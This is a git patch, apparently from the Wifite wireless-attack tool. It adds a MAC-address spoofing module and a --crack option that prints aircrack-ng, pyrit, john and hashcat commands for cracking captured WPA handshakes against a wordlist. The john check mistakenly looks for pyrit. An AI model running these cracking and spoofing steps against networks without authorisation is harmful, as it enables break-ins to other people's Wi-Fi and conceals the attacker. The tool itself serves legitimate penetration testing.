+# -*- coding: utf-8 -*- + +from Interface import Interface +from Color import Color + +class Macchanger(object): + is_init = False + is_changed = False + original_mac = None + + @classmethod + def init(cls): + if cls.is_init: return + from Configuration import Configuration + iface = Configuration.interface + if type(iface) == Interface: + iface = iface.name + cls.original_mac = Interface.get_mac(iface) + + @classmethod + def down_macch_up(cls, macch_option): + cls.init() + from Process import Process + from Configuration import Configuration + iface = Configuration.interface + + cmd = ["ifconfig", iface, "down"] + Color.clear_entire_line() + Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface) + ifdown = Process(cmd) + ifdown.wait() + if ifdown.poll() != 0: + Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) + Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr())) + return False + + cmd = ["macchanger", macch_option, iface] + Color.clear_entire_line() + Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface) + macch = Process(cmd) + macch.wait() + if macch.poll() != 0: + Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) + Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr())) + return False + + cmd = ["ifconfig", iface, "up"] + Color.clear_entire_line() + Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface) + ifup = Process(cmd) + ifup.wait() + if ifup.poll() != 0: + Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) + Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr())) + return False + return True + + @classmethod + def reset(cls): + # --permanent to reset to permanent MAC address + if not cls.down_macch_up("-p"): return + Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...") + from Configuration import Configuration + new_mac = Interface.get_mac(Configuration.interface) + Color.clear_entire_line() + Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac) + + @classmethod + def random(cls): + # Use --permanent to use random MAC address + if not cls.down_macch_up("-r"): return + cls.is_changed = True + from Configuration import Configuration + new_mac = Interface.get_mac(Configuration.interface) + Color.clear_entire_line() + Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac) + + @classmethod + def reset_if_changed(cls): + if not cls.is_changed: return + cls.reset() From a08dbf99c5d6b34f500fb76670eeeaa235c0fa39 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 23:07:34 -0400 Subject: [PATCH 16/16] --crack option provides commands to crack a handshake Requested in #15 --- Wifite.py | 4 +- py/Arguments.py | 5 ++- py/Configuration.py | 4 +- py/CrackHandshake.py | 90 ++++++++++++++++++++++++++++++++++++++++++++ py/CrackResult.py | 7 ++++ 5 files changed, 107 insertions(+), 3 deletions(-) create mode 100644 py/CrackHandshake.py diff --git a/Wifite.py b/Wifite.py index 42a5879..065f72e 100755 --- a/Wifite.py +++ b/Wifite.py @@ -9,6 +9,7 @@ from py.AttackWPA import AttackWPA from py.AttackWPS import AttackWPS from py.CrackResult import CrackResult from py.Handshake import Handshake +from py.CrackHandshake import CrackHandshake from json import loads import os @@ -30,6 +31,8 @@ class Wifite(object): elif Configuration.check_handshake: self.check_handshake(Configuration.check_handshake) + elif Configuration.crack_handshake: + CrackHandshake() else: Configuration.get_interface() self.run() @@ -70,7 +73,6 @@ class Wifite(object): hs.analyze() Color.pl('') - def run(self): ''' Main program. diff --git a/py/Arguments.py b/py/Arguments.py index cb4deae..7aaa55a 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -276,7 +276,10 @@ class Arguments(object): dest='check_handshake', help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes')) commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='', dest='check_handshake') - + commands.add_argument('--crack', + action='store_true', + dest='crack_handshake', + help=Color.s('Show commands to crack a captured handshake')) return parser.parse_args() if __name__ == '__main__': diff --git a/py/Configuration.py b/py/Configuration.py index c6b6125..e09dbb1 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -86,6 +86,7 @@ class Configuration(object): # Commands Configuration.show_cracked = False Configuration.check_handshake = None + Configuration.crack_handshake = False # Overwrite config values with arguments (if defined) Configuration.load_from_arguments() @@ -251,8 +252,9 @@ class Configuration(object): % '{W}, {G}'.join(Configuration.wep_attacks)) # Commands - if args.cracked: Configuration.show_cracked = True + if args.cracked: Configuration.show_cracked = True if args.check_handshake: Configuration.check_handshake = args.check_handshake + if args.crack_handshake: Configuration.crack_handshake = True @staticmethod diff --git a/py/CrackHandshake.py b/py/CrackHandshake.py new file mode 100644 index 0000000..b17332c --- /dev/null +++ b/py/CrackHandshake.py @@ -0,0 +1,90 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from Process import Process +from Color import Color +from Configuration import Configuration +from CrackResult import CrackResult +from datetime import datetime + +import os + +class CrackHandshake(object): + def __init__(self): + self.wordlist = Configuration.wordlist or "path_to_wordlist_here" + + handshake = self.choose_handshake() + self.crack_handshake(handshake) + + def crack_handshake(self, handshake): + cap_file = os.path.realpath(handshake["handshake_file"]) + Color.pl("{+} Different ways to crack {C}%s{W}:" % cap_file) + self.print_aircrack(cap_file) + self.print_pyrit(cap_file) + self.print_john(cap_file) + self.print_oclhashcat(cap_file) + Color.pl("") + # TODO: cowpatty, oclhashcat + + def print_aircrack(self, cap_file): + if not Process.exists("aircrack-ng"): return + Color.pl("\n {O}# AIRCRACK: CPU-based cracking. Slow.") + Color.pl(" {G}aircrack-ng {W}-a 2 -w {C}%s %s{W}" % (self.wordlist, cap_file)) + + def print_pyrit(self, cap_file): + if not Process.exists("pyrit"): return + Color.pl("\n {O}# PYRIT: GPU-based cracking. Fast.") + Color.pl(" {G}pyrit {W}-i {C}%s {W}-r {C}%s {W}attack_passthrough{W}" % (self.wordlist, cap_file)) + + def print_john(self, cap_file): + if not Process.exists("pyrit"): return + Color.pl("\n {O}# JOHN: CPU or GPU-based cracking. Fast.") + Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration") + Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process") + Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file) + Color.pl(" {G}hccap2john {W}hccap.hccap > hccap.john{W}") + Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist)) + + def print_oclhashcat(self, cap_file): + if not Process.exists("hashcat"): return + Color.pl("\n {O}# OCLHASHCAT: GPU-based cracking. Fast.") + # TODO: Generate hccapx automatically + hccapx_file = "generated.hccapx" #cap_file + Color.pl(" {O}# Visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}") + Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (self.wordlist, hccapx_file)) + + def choose_handshake(self): + Color.pl("\n{+} Listing captured handshakes...\n") + handshakes = CrackResult.load_all() + handshakes = [hs for hs in handshakes if "handshake_file" in hs and os.path.exists(hs["handshake_file"])] + if len(handshakes) == 0: + raise Exception("No handshakes found in %s" % os.path.realpath(CrackResult.cracked_file)) + + # Handshakes Header + max_essid_len = max([len(hs["essid"]) for hs in handshakes]) + Color.p(" NUM") + Color.p(" " + "ESSID".ljust(max_essid_len)) + Color.p(" " + "BSSID".ljust(17)) + Color.p(" DATE CAPTURED\n") + Color.p(" ---") + Color.p(" " + ("-" * max_essid_len)) + Color.p(" " + ("-" * 17)) + Color.p(" " + ("-" * 19) + "\n") + # Print all handshakes + for index, hs in enumerate(handshakes): + bssid = hs["bssid"] + essid = hs["essid"] + date = datetime.strftime(datetime.fromtimestamp(hs["date"]), "%Y-%m-%dT%H:%M:%S") + Color.p(" {G}%s{W}" % str(index + 1).rjust(3)) + Color.p(" {C}%s{W}" % essid.ljust(max_essid_len)) + Color.p(" {C}%s{W}" % bssid) + Color.p(" {C}%s{W}\n" % date) + # Get number from user + hs_index = raw_input(Color.s("\n{+} Select handshake num to crack ({G}1-%d{W}): " % len(handshakes))) + if not hs_index.isdigit(): + raise Exception("Invalid input: %s" % hs_index) + hs_index = int(hs_index) + if hs_index < 1 or hs_index > len(handshakes): + raise Exception("Handshake num must be between 1 and %d" % len(handshakes)) + + return handshakes[hs_index - 1] diff --git a/py/CrackResult.py b/py/CrackResult.py index 2e1f135..5a80d6d 100644 --- a/py/CrackResult.py +++ b/py/CrackResult.py @@ -41,6 +41,13 @@ class CrackResult(object): Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})' % (name, len(json))) + @classmethod + def load_all(cls): + if not os.path.exists(cls.cracked_file): return [] + with open(cls.cracked_file, "r") as json_file: + json = loads(json_file.read()) + return json + @staticmethod def load(json): ''' Returns an instance of the appropriate object given a json instance '''